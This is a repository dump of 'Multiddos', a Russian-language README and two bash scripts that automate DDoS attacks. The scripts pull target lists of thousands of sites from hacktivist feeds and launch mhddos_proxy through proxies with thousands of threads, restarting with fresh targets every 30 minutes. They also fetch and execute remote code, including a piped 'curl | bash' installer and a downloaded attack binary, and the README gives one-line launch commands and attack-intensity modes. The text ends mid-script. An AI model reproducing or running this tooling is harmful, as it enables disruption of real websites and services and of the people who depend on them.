├── README.md ├── md2.sh └── multiddos.sh /README.md: -------------------------------------------------------------------------------- 1 | # **Multiddos - скрипт объединяющий в себе несколько утилит для ddos** 2 | 3 | ![multiddos](https://user-images.githubusercontent.com/53382906/161972523-a1197762-a166-45f2-9b68-6e13cc940d99.gif) 4 | 5 | ### **Особености**: 6 | * Объединяет в себе несколько утилит для ддоса, и для мониторинга (gotop, vnstat) 7 | * Полностью автоматизирован. Автоматическое обновление программ, автоматическая настройка, автоматический запуск, автоматическая смена целей. 8 | * Запуск одной простой командой. 9 | * Наличие нескольких режимов работы (с помощью дополнительных ключей) 10 | * При закрытии терминала или разрыве ssh сессии программы не вылетают, а продолжают работать в фоне. В любой момент multiddos можно снова вывести на экран. 11 | * Работает с несколькими базами на тысячи сайтов/адресов. 12 | 13 | ### **На данный момент скрипт поддерживает:** 14 | * [Multiddos](https://github.com/KarboDuck/multiddos), ранее известный как auto_mhddos (обвертка для mhddos_proxy) от Украинского Жнеца ([канал](https://t.me/ukrainian_reaper_ddos), [чат](https://t.me/+azRzzKp-STpkMjNi)) 15 | * ~~[db1000n ](https://github.com/Arriven/db1000n) от IT ARMY of Ukraine ([канал](https://t.me/itarmyofukraine2022), чат)~~ временно отключено 16 | 17 | * Базу сайтов [IT ARMY of Ukraine](https://t.me/itarmyofukraine2022) 18 | * Базу сайтов [DDOS по країні СЕПАРІВ (Кібер-Козаки)](https://t.me/ddos_separ) 19 | 20 | ### **Пояснение к выбору конкретных утилит** 21 |
22 | развернуть 23 | 24 | Мы хотели собрать утилиты, которые: 25 | * Можно полностью автоматизировать 26 | * Имеют хорошую эффективность и поддерживаются разработчиками 27 | * Умеют работать через прокси 28 | 29 | Полностью данным требованиям соответствует только mhddos_proxy. DB1000N не умеет работать через прокси. Поэтому на данном этапе по умолчанию используется только mhddos_proxy. 30 | 31 |
32 | 33 | --- 34 | # **Multiddos в docker. Рекомендуется.** (Win, Mac, Linux) 35 | 36 | ### **Запуск** 37 | 38 | 1. Скачать и установить [Docker](https://docs.docker.com/get-docker/) 39 | 40 | Или быстрые команды для установки: 41 | 42 | * Windows 10/11: `winget install -e --id Docker.DockerDesktop` 43 | * MacOS: `brew install docker docker-machine` 44 | * LInux: `sudo apt install docker.io` 45 | 46 | 2. Запустить multiddos в docker: 47 | ``` 48 | docker run -it --rm --log-driver none --name multidd --pull always karboduck/multidd 49 | ``` 50 | 51 | * Запуск docker c ключами.
Docker версия поддерживает те же ключи, что и bash версия. Прописывайте их точно так же в конце команды. `docker run -it --rm --log-driver none --name multidd --pull always karboduck/multidd --lang en` Подробнее про ключи читайте ниже в разделе **Опции запуска**. 52 | 53 | ### **Остановка** 54 | 1. Нажать в окне несколько раз подряд `Ctrl + C` 55 | 2. В другом терминале запустить команду `docker stop multidd` 56 | 3. Перезагрузить операционную систему 57 | 58 | ### **Подключиться обратно, если скрипт работает в фоне** 59 | ``` 60 | docker attach multidd 61 | ``` 62 | 63 | --- 64 | # **Multiddos в bash** (Linux, WSL2) 65 | 66 | ### **Запуск** 67 | 68 | ``` 69 | curl -LO tiny.one/multiddos && bash multiddos 70 | ``` 71 | 72 | или прямая ссылка, на случай если сокращенная не работает 73 | 74 | ``` 75 | curl -O https://raw.githubusercontent.com/KarboDuck/multiddos/main/multiddos.sh && bash multiddos.sh 76 | ``` 77 | 78 |
79 | 80 | ### **Остановка**: 81 | 1. Нажать в окне несколько раз подряд `Ctrl + C` 82 | 2. В другом терминале запустить команду `pkill tmux; pkill node; pkill -f start.py; pkill -f runner.py` 83 | 3. Перезагрузить операционную систему 84 | 85 | ### **Подключиться обратно, если скрипт работает в фоне** 86 | ``` 87 | tmux a 88 | ``` 89 | --- 90 | 91 | ## **Опции запуска** 92 | 93 |
94 | развернуть 95 | 96 | Multiddos запускается по умолчанию с gotop и multiddos. Это стандартная конфигурация. Из этой конфигурации можно убрать gotop. Или добавить в нее утилиты: db1000n, vnstat. 97 | 98 | Для того, чтобы убрать утилиту используется ключ со знаком "-": 99 | 100 | `-g` убрать gotop 101 | 102 | Для того, чтобы добавить утилиту используется ключ со знаком "+": 103 | 104 | `+d` добавить db1000n 105 | 106 | `+v` добавить vnstat -l (мониторинг трафика) 107 | 108 | `-p 2000` или `--proxy-threads 2000` Использование этого ключа подключает proxy_finder и задает количество потоков для поиска. Чем выше значение, тем быстрее происходит сканирование и поиск новых прокси, но тем и выше нагрузка на CPU и сеть. Поэтому при больших значениях может падать скорость атак. 109 | 110 | `-t 500` или `--threads 500` задать количество потоков для mhddos_proxy 111 | 112 | **Режимы нагрузки в порядке возрастания:** 113 | 114 | `--XS` Самый легкий режим работы. Низкая нагрузка на процессор и сеть. Рекомендуется, если компьютер сильно тормозит, а интернет пропадает. Атакует 1000 целей 1 процессом в 1000 потоков. 115 | 116 | `--S` Атакует 1000 целей 1 процессом в 2000 потоков. 117 | 118 | `--M` Атакует все цели в базе 2 процессами по 2000 потоков каждый. 119 | 120 | `--L` Атакует все цели в базе 2 процессами по 4000 потоков каждый. Используется по умолчанию. 121 | 122 | `--XL` Атакует все цели в базе 4 процессами по 3000 потоков каждый. 123 | 124 | `--XXL` Атакует все цели в базе 4 процессами по 4000 потоков каждый. 125 | 126 | `--XXXL` Атакует все цели в базе 4 процессами по 5000 потоков каждый. 127 | 128 | Пример команды (убрать gotop, запустить proxy finder с 2000 потоков и атаку в режиме --S): 129 | 130 | ``` 131 | curl -LO tiny.one/multiddos && bash multiddos -g -p 2000 --S 132 | ``` 133 | 134 | То же самое для docker: 135 | 136 | ``` 137 | docker run -it --rm --log-driver none --name multidd --pull always karboduck/multidd -g -p 2000 --S 138 | ``` 139 | 140 |
141 | 142 | --- 143 | ## **Управление Tmux** 144 |
145 | развернуть 146 | 147 | * **Свернуть Tmux**. Программы продолжат работать в фоне, и к сессии можно будет позже снова подключиться. `Нажмите Ctrl+b` отпустите `Нажмите d` 148 | 149 | * **Закрыть сессию Tmux**. Сначала выйдите из Tmux: `Нажмите Ctrl+b` отпустите `Нажмите d`. Выполните в терминале команду `tmux kill-session -t multiddos` 150 | 151 | * **Переподключиться к сессии Tmux**. Если у вас всего одна сессия Tmux, то используйте: `tmux a` (tmux attach). Если у вас несколько сессий, подключайтесь по имени: `tmux attach-session -t multidd` 152 |
153 | 154 | --- 155 | ## **Решение проблем и распространеные вопросы** 156 |
157 | развернуть 158 | 159 | 1. 160 | Основная проблема - перебои в работе сетевого адаптера. Особенно часто проявляется при запуске скрипта на виртуальной машине. Ддос пакеты влияют не только на удаленные сервера, но и на ваше железо. 161 | 162 | Внешние проявления могут быть самыми разнообразными, нелогичными и на первый взгляд не связанными с сетью. Но, если скрипт не запускается, просто перезапустите систему и попробуйте снова. Едва ли не в 80% случаев это решает проблемы. 163 | 164 | Если проблема повторяется, попробуйте использовать режим --S. Если проблема все равно повторяется, значит на этой конкретной системе атаки запустить не получится. 165 | 166 | 2. 167 | Вылетает db1000n. Это либо опять побочка проблем с сетью, смотрите пункт выше. Либо сбой самой программы, с чем мы ничего поделать не можем. Хорошая новость заключается в том, что 95% полезной работы выполняет mhddos_proxy. Пока он работает, все идет по плану. 168 | 169 | 3. 170 | Низкий трафик. В подавляющем большинстве случаев это значит, что атакуемые сайты уже лежат, либо их закрыли гео-блоком (отгородили от внешнего мира). Это нормально, наши атаки все равно приносят пользу, продолжаем работать. 171 | 172 | Также может значить что вы используете слишком высокое кол-во потоков для атак, и ваш ПК не справляется с нагрузкой. Попробуйте запустить Multiddos в режиме --S. 173 | 174 | 4. 175 | Пишет что сайт или несколько сайтов недоступны и не будут атакованы. Это нормально, значит эти конкретные сайты лежат или недоступны по другим причинам. Как правило это происходит с небольшим количеством сайтов, и атаки по 90% других сайтов продолжаются. 176 | 177 | 5. 178 | Пишет что доступно 0 сайтов. Похоже на ошибку №4, но при нормальной работе такого быть не должно. Значит либо упала сеть, либо провайдер/vpn блокирует доступ ко всем этим сайтам. 179 | 180 | Попробуйте перезагрузить ПК. Попробуйте использовать режим --S. Включите или если уже включен, наоборот выключите vpn. 181 | 182 | 6. 183 | Нужен ли VPN? На данный момент не нужен. То есть при желании или необходимости его можно держать включенным, но это не обязательно, так как mhddos_proxy использует прокси. 184 | 185 |
-------------------------------------------------------------------------------- /md2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # curl -LO tiny.one/multiddos && bash multiddos 3 | # curl -O https://raw.githubusercontent.com/KarboDuck/multiddos/main/md2.sh && bash md2.sh 4 | clear && echo -e "Loading... v1.2b\n" 5 | sudo apt-get update -q -y #>/dev/null 2>&1 6 | sudo apt-get install -q -y tmux jq git toilet python3 python3-pip 7 | pip install --upgrade pip >/dev/null 2>&1 8 | rm -rf ~/multidd*; mkdir -p ~/multidd/targets/ ; cd ~/multidd # clean working folder 9 | 10 | sudo sysctl -w net.ipv4.ip_local_port_range="16384 65535" # increasing thread limit 11 | 12 | gotop="on" 13 | db1000n="off" 14 | vnstat="off" 15 | proxy_finder="off" 16 | export methods="--http-methods GET STRESS" 17 | export ddos_size="AUTO" 18 | 19 | # create swap file if system doesn't have it. Helps systems with very little RAM. 20 | if [[ $(echo $(swapon --noheadings --bytes | cut -d " " -f3)) == "" ]]; then 21 | sudo fallocate -l 1G /swp && sudo chmod 600 /swp && sudo mkswap /swp && sudo swapon /swp 22 | fi 23 | 24 | typing_on_screen (){ 25 | tput setaf 2 &>/dev/null # green 26 | for ((i=0; i<=${#1}; i++)); do 27 | printf '%s' "${1:$i:1}" 28 | sleep 0.05$(( (RANDOM % 5) + 1 )) 29 | done 30 | tput sgr0 2 &>/dev/null 31 | } 32 | export -f typing_on_screen 33 | 34 | ### prepare target files and show banner 35 | prepare_targets_and_banner () { 36 | rm -rf ~/multidd/targets/* 37 | 38 | # 1 DDOS по країні СЕПАРІВ (Кібер-Козаки) https://t.me/ddos_separ 39 | echo "$(curl -s https://raw.githubusercontent.com/alexnest-ua/targets/main/special/archive/all.txt)" > ~/multidd/targets/source1.txt 40 | # 2 IT ARMY of Ukraine https://t.me/itarmyofukraine2022 41 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.packet.payload.data.path | select (. != null)')" > ~/multidd/targets/source2.txt 42 | 43 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.connection.args.address | select (. != null)')" > ~/multidd/targets/source3.txt 44 | 45 | # remove all empty lines (spaces, tabs, new lines) 46 | sed -i '/^[[:space:]]*$/d' ~/multidd/targets/source*.txt 47 | # add 'tcp://' to all ip addresses 48 | sed -i -e 's/^/tcp:\/\//g' ~/multidd/targets/source3.txt 49 | 50 | # skip wrong lines in sources (those happens) and combine all sources together in single file all_targets.txt 51 | cat ~/multidd/targets/source* | while read LINE; do 52 | if [[ $LINE == "http"* ]] || [[ $LINE == "tcp://"* ]]; then 53 | echo $LINE >> ~/multidd/targets/all_targets.txt 54 | fi 55 | done 56 | 57 | # delete duplicates, randomize order and save final targets in uniq_targets.txt 58 | cat ~/multidd/targets/all_targets.txt | sort | uniq | sort -R > ~/multidd/targets/uniq_targets.txt 59 | 60 | # Print greetings and number of targets; yes, app name "toilet" is unfortunate 61 | clear 62 | toilet -t --metal "Український" 63 | toilet -t --metal " жнець" 64 | toilet -t --metal " MULTIDDOS" 65 | 66 | if [[ $mhddos_mode == "new" ]]; then 67 | typing_on_screen 'Шукаю завдання від IT ARMY...' && sleep 2& 68 | cd ~/multidd/ 69 | wget -q https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux 70 | chmod +x mhddos_proxy_linux 71 | else 72 | typing_on_screen 'Шукаю завдання...' ; sleep 0.5 73 | echo -e "\n\nTotal targets found:" "\x1b[32m $(cat ~/multidd/targets/all_targets.txt | wc -l)\x1b[m" && sleep 0.1 74 | echo -e "Uniq targets:" "\x1b[32m $(cat ~/multidd/targets/uniq_targets.txt | wc -l)\x1b[m" && sleep 0.1 75 | echo -e "\nЗавантаження..."; sleep 2 76 | fi 77 | clear 78 | } 79 | export -f prepare_targets_and_banner 80 | 81 | launch () { 82 | # kill previous sessions or processes in case they still in memory 83 | tmux kill-session -t multidd > /dev/null 2>&1 84 | 85 | # tmux mouse support 86 | grep -qxF 'set -g mouse on' ~/.tmux.conf || echo 'set -g mouse on' >> ~/.tmux.conf 87 | tmux source-file ~/.tmux.conf > /dev/null 2>&1 88 | 89 | if [[ $gotop == "on" ]]; then 90 | if [ ! -f "/usr/local/bin/gotop" ]; then 91 | curl -L https://github.com/cjbassi/gotop/releases/download/3.0.0/gotop_3.0.0_linux_amd64.deb -o gotop.deb 92 | sudo dpkg -i gotop.deb 93 | fi 94 | tmux new-session -s multidd -d 'gotop -sc solarized' 95 | tmux split-window -h -p 66 'bash auto_bash.sh' 96 | else 97 | tmux new-session -s multidd -d 'bash auto_bash.sh' 98 | fi 99 | 100 | if [[ $vnstat == "on" ]]; then 101 | sudo apt -yq install vnstat 102 | tmux split-window -v 'vnstat -l' 103 | fi 104 | 105 | if [[ $db1000n == "on" ]]; then 106 | sudo apt -yq install torsocks 107 | tmux split-window -v 'curl https://raw.githubusercontent.com/Arriven/db1000n/main/install.sh | bash && torsocks -i ./db1000n' 108 | fi 109 | 110 | if [[ $proxy_finder == "on" ]]; then 111 | tmux split-window -v -p 20 'rm -rf ~/multidd/proxy_finder; git clone https://github.com/porthole-ascend-cinnamon/proxy_finder ~/multidd/proxy_finder; cd ~/multidd/proxy_finder; python3 -m pip install -r requirements.txt; clear; echo -e "\x1b[32mШукаю проксі, в середньому одна робоча знаходиться після 10млн перевірок\x1b[m"; python3 ~/multidd/proxy_finder/finder.py --threads $proxy_threads' 112 | fi 113 | tmux attach-session -t multidd 114 | } 115 | 116 | while [ "$1" != "" ]; do 117 | case $1 in 118 | +d | --db1000n ) db1000n="on"; shift ;; 119 | -g | --gotop ) gotop="off"; db1000n="off"; shift ;; 120 | +v | --vnstat ) vnstat="on"; shift ;; 121 | --XS ) export ddos_size="XS"; shift ;; 122 | --S | --lite ) export ddos_size="S"; shift ;; 123 | --M ) export ddos_size="M"; shift ;; 124 | --L ) export ddos_size="L"; shift ;; 125 | --XL ) export ddos_size="XL"; shift ;; 126 | --XXL | --2XL) export ddos_size="XXL"; shift ;; 127 | --XXXL | --3XL) export ddos_size="XXXL"; shift ;; 128 | --new ) export mhddos_mode="new"; shift ;; 129 | -p | --proxy-threads ) export proxy_finder="on"; export proxy_threads="$2"; shift 2 ;; 130 | * ) export args_to_pass+=" $1"; shift ;; #pass all unrecognized arguments to mhddos_proxy 131 | esac 132 | done 133 | 134 | prepare_targets_and_banner 135 | 136 | # create small separate script to re-launch only this small part of code 137 | cd ~/multidd 138 | cat > auto_bash.sh << 'EOF' 139 | # Restart and update mhddos_proxy and targets every 30 minutes 140 | # pkill -f mhddos_proxy_linux 141 | 142 | if [[ $mhddos_mode == "new" ]]; then 143 | cd ~/multidd/ 144 | 145 | if [[ $ddos_size == "AUTO" ]]; then 146 | ./mhddos_proxy_linux --copies auto $args_to_pass 147 | elif [[ $ddos_size == "XS" ]]; then 148 | ./mhddos_proxy_linux -t 1000 $args_to_pass 149 | elif [[ $ddos_size == "S" ]]; then 150 | ./mhddos_proxy_linux -t 2000 $args_to_pass 151 | elif [[ $ddos_size == "M" ]]; then 152 | ./mhddos_proxy_linux --copies 2 -t 2000 $args_to_pass 153 | elif [[ $ddos_size == "L" ]]; then 154 | ./mhddos_proxy_linux --copies auto -t 4000 $args_to_pass 155 | elif [[ $ddos_size == "XL" ]]; then 156 | ./mhddos_proxy_linux --copies 4 -t 3000 $args_to_pass 157 | elif [[ $ddos_size == "XXL" ]]; then 158 | ./mhddos_proxy_linux --copies 4 -t 4000 $args_to_pass 159 | elif [[ $ddos_size == "XXXL" ]]; then 160 | ./mhddos_proxy_linux --copies 4 -t 5000 $args_to_pass 161 | fi 162 | 163 | else 164 | while true; do 165 | cd ~/multidd/ 166 | git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git 167 | cd ~/multidd/mhddos_proxy 168 | python3 -m pip install -r requirements.txt 169 | 170 | if [[ $ddos_size == "XS" ]]; then 171 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt 172 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 1000 $args_to_pass & 173 | elif [[ $ddos_size == "S" ]]; then 174 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt 175 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 2000 $args_to_pass & 176 | elif [[ $ddos_size == "M" ]]; then 177 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 178 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 2000 $args_to_pass & 179 | sleep 30 180 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 2000 $args_to_pass & 181 | elif [[ $ddos_size == "L" ]] || [[ $ddos_size == "AUTO" ]]; then 182 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 183 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass & 184 | sleep 30 185 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass & 186 | elif [[ $ddos_size == "XL" ]]; then 187 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 4 parts 188 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 3000 $args_to_pass & 189 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 3000 $args_to_pass & 190 | sleep 30 191 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 3000 $args_to_pass & 192 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 3000 $args_to_pass & 193 | elif [[ $ddos_size == "XXL" ]]; then 194 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 195 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass & 196 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass & 197 | sleep 30 198 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 4000 $args_to_pass & 199 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 4000 $args_to_pass & 200 | elif [[ $ddos_size == "XXXL" ]]; then 201 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 202 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 5000 $args_to_pass & 203 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 5000 $args_to_pass & 204 | sleep 30 205 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 5000 $args_to_pass & 206 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 5000 $args_to_pass & 207 | fi 208 | sleep 30m 209 | pkill -f start.py; pkill -f runner.py; 210 | prepare_targets_and_banner 211 | rm -rf ~/multidd/mhddos_proxy/ 212 | done 213 | fi 214 | EOF 215 | 216 | launch -------------------------------------------------------------------------------- /multiddos.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # curl -LO tiny.one/multiddos && bash multiddos 3 | # curl -O https://raw.githubusercontent.com/KarboDuck/multiddos/main/md2.sh && bash md2.sh 4 | clear && echo -e "Loading... v1.2\n" 5 | sudo apt-get update -q -y #>/dev/null 2>&1 6 | sudo apt-get install -q -y tmux jq git toilet python3 python3-pip 7 | pip install --upgrade pip >/dev/null 2>&1 8 | rm -rf ~/multidd*; mkdir -p ~/multidd/targets/ ; cd ~/multidd # clean working folder 9 | 10 | sudo sysctl -w net.ipv4.ip_local_port_range="16384 65535" # increasing thread limit 11 | 12 | gotop="on" 13 | db1000n="off" 14 | vnstat="off" 15 | proxy_finder="off" 16 | export methods="--http-methods GET STRESS" 17 | export ddos_size="AUTO" 18 | 19 | # create swap file if system doesn't have it. Helps systems with very little RAM. 20 | if [[ $(echo $(swapon --noheadings --bytes | cut -d " " -f3)) == "" ]]; then 21 | sudo fallocate -l 1G /swp && sudo chmod 600 /swp && sudo mkswap /swp && sudo swapon /swp 22 | fi 23 | 24 | typing_on_screen (){ 25 | tput setaf 2 &>/dev/null # green 26 | for ((i=0; i<=${#1}; i++)); do 27 | printf '%s' "${1:$i:1}" 28 | sleep 0.05$(( (RANDOM % 5) + 1 )) 29 | done 30 | tput sgr0 2 &>/dev/null 31 | } 32 | export -f typing_on_screen 33 | 34 | ### prepare target files and show banner 35 | prepare_targets_and_banner () { 36 | rm -rf ~/multidd/targets/* 37 | 38 | # 1 DDOS по країні СЕПАРІВ (Кібер-Козаки) https://t.me/ddos_separ 39 | echo "$(curl -s https://raw.githubusercontent.com/alexnest-ua/targets/main/special/archive/all.txt)" > ~/multidd/targets/source1.txt 40 | # 2 IT ARMY of Ukraine https://t.me/itarmyofukraine2022 41 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.packet.payload.data.path | select (. != null)')" > ~/multidd/targets/source2.txt 42 | 43 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.connection.args.address | select (. != null)')" > ~/multidd/targets/source3.txt 44 | 45 | # remove all empty lines (spaces, tabs, new lines) 46 | sed -i '/^[[:space:]]*$/d' ~/multidd/targets/source*.txt 47 | # add 'tcp://' to all ip addresses 48 | sed -i -e 's/^/tcp:\/\//g' ~/multidd/targets/source3.txt 49 | 50 | # skip wrong lines in sources (those happens) and combine all sources together in single file all_targets.txt 51 | cat ~/multidd/targets/source* | while read LINE; do 52 | if [[ $LINE == "http"* ]] || [[ $LINE == "tcp://"* ]]; then 53 | echo $LINE >> ~/multidd/targets/all_targets.txt 54 | fi 55 | done 56 | 57 | # delete duplicates, randomize order and save final targets in uniq_targets.txt 58 | cat ~/multidd/targets/all_targets.txt | sort | uniq | sort -R > ~/multidd/targets/uniq_targets.txt 59 | 60 | # Print greetings and number of targets; yes, app name "toilet" is unfortunate 61 | clear 62 | toilet -t --metal "Український" 63 | toilet -t --metal " жнець" 64 | toilet -t --metal " MULTIDDOS" 65 | 66 | if [[ $mhddos_mode == "new" ]]; then 67 | typing_on_screen 'Шукаю завдання від IT ARMY...' && sleep 1 68 | else 69 | typing_on_screen 'Шукаю завдання...' ; sleep 0.5 70 | echo -e "\n\nTotal targets found:" "\x1b[32m $(cat ~/multidd/targets/all_targets.txt | wc -l)\x1b[m" && sleep 0.1 71 | echo -e "Uniq targets:" "\x1b[32m $(cat ~/multidd/targets/uniq_targets.txt | wc -l)\x1b[m" && sleep 0.1 72 | echo -e "\nЗавантаження..."; sleep 2 73 | fi 74 | clear 75 | } 76 | export -f prepare_targets_and_banner 77 | 78 | launch () { 79 | # kill previous sessions or processes in case they still in memory 80 | tmux kill-session -t multidd > /dev/null 2>&1 81 | 82 | # tmux mouse support 83 | grep -qxF 'set -g mouse on' ~/.tmux.conf || echo 'set -g mouse on' >> ~/.tmux.conf 84 | tmux source-file ~/.tmux.conf > /dev/null 2>&1 85 | 86 | if [[ $gotop == "on" ]]; then 87 | if [ ! -f "/usr/local/bin/gotop" ]; then 88 | curl -L https://github.com/cjbassi/gotop/releases/download/3.0.0/gotop_3.0.0_linux_amd64.deb -o gotop.deb 89 | sudo dpkg -i gotop.deb 90 | fi 91 | tmux new-session -s multidd -d 'gotop -sc solarized' 92 | tmux split-window -h -p 66 'bash auto_bash.sh' 93 | else 94 | tmux new-session -s multidd -d 'bash auto_bash.sh' 95 | fi 96 | 97 | if [[ $vnstat == "on" ]]; then 98 | sudo apt -yq install vnstat 99 | tmux split-window -v 'vnstat -l' 100 | fi 101 | 102 | if [[ $db1000n == "on" ]]; then 103 | sudo apt -yq install torsocks 104 | tmux split-window -v 'curl https://raw.githubusercontent.com/Arriven/db1000n/main/install.sh | bash && torsocks -i ./db1000n' 105 | fi 106 | 107 | if [[ $proxy_finder == "on" ]]; then 108 | tmux split-window -v -p 20 'rm -rf ~/multidd/proxy_finder; git clone https://github.com/porthole-ascend-cinnamon/proxy_finder ~/multidd/proxy_finder; cd ~/multidd/proxy_finder; python3 -m pip install -r requirements.txt; clear; echo -e "\x1b[32mШукаю проксі, в середньому одна робоча знаходиться після 10млн перевірок\x1b[m"; python3 ~/multidd/proxy_finder/finder.py --threads $proxy_threads' 109 | fi 110 | tmux attach-session -t multidd 111 | } 112 | 113 | while [ "$1" != "" ]; do 114 | case $1 in 115 | +d | --db1000n ) db1000n="on"; shift ;; 116 | -g | --gotop ) gotop="off"; db1000n="off"; shift ;; 117 | +v | --vnstat ) vnstat="on"; shift ;; 118 | --XS ) export ddos_size="XS"; shift ;; 119 | --S | --lite ) export ddos_size="S"; shift ;; 120 | --M ) export ddos_size="M"; shift ;; 121 | --L ) export ddos_size="L"; shift ;; 122 | --XL ) export ddos_size="XL"; shift ;; 123 | --XXL | --2XL) export ddos_size="XXL"; shift ;; 124 | --XXXL | --3XL) export ddos_size="XXXL"; shift ;; 125 | --new ) export mhddos_mode="new"; shift ;; 126 | -p | --proxy-threads ) export proxy_finder="on"; export proxy_threads="$2"; shift 2 ;; 127 | * ) export args_to_pass+=" $1"; shift ;; #pass all unrecognized arguments to mhddos_proxy 128 | esac 129 | done 130 | 131 | prepare_targets_and_banner 132 | 133 | # create small separate script to re-launch only this small part of code 134 | cd ~/multidd 135 | cat > auto_bash.sh << 'EOF' 136 | # Restart and update mhddos_proxy and targets every 30 minutes 137 | # pkill -f mhddos_proxy_linux 138 | 139 | if [[ $mhddos_mode == "new" ]]; then 140 | echo "Downloading latest version of mhddos_proxy..." 141 | cd ~/multidd/ 142 | curl -OLs https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux 143 | chmod +x mhddos_proxy_linux 144 | 145 | if [[ $ddos_size == "AUTO" ]]; then 146 | ./mhddos_proxy_linux --copies auto -t 5000 $args_to_pass 147 | elif [[ $ddos_size == "XS" ]]; then 148 | ./mhddos_proxy_linux -t 1000 $args_to_pass 149 | elif [[ $ddos_size == "S" ]]; then 150 | ./mhddos_proxy_linux -t 2000 $args_to_pass 151 | elif [[ $ddos_size == "M" ]]; then 152 | ./mhddos_proxy_linux --copies 2 -t 2000 $args_to_pass 153 | elif [[ $ddos_size == "L" ]]; then 154 | ./mhddos_proxy_linux --copies auto -t 4000 $args_to_pass 155 | elif [[ $ddos_size == "XL" ]]; then 156 | ./mhddos_proxy_linux --copies 4 -t 4000 $args_to_pass 157 | elif [[ $ddos_size == "XXL" ]]; then 158 | ./mhddos_proxy_linux --copies 4 -t 6000 $args_to_pass 159 | elif [[ $ddos_size == "XXXL" ]]; then 160 | ./mhddos_proxy_linux --copies 4 -t 8000 $args_to_pass 161 | fi 162 | 163 | else 164 | while true; do 165 | cd ~/multidd/ 166 | git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git 167 | cd ~/multidd/mhddos_proxy 168 | python3 -m pip install -r requirements.txt 169 | 170 | if [[ $ddos_size == "XS" ]]; then 171 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt 172 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 1000 $args_to_pass & 173 | elif [[ $ddos_size == "S" ]]; then 174 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt 175 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 2000 $args_to_pass & 176 | elif [[ $ddos_size == "M" ]]; then 177 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 178 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 2000 $args_to_pass & 179 | sleep 30 180 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c 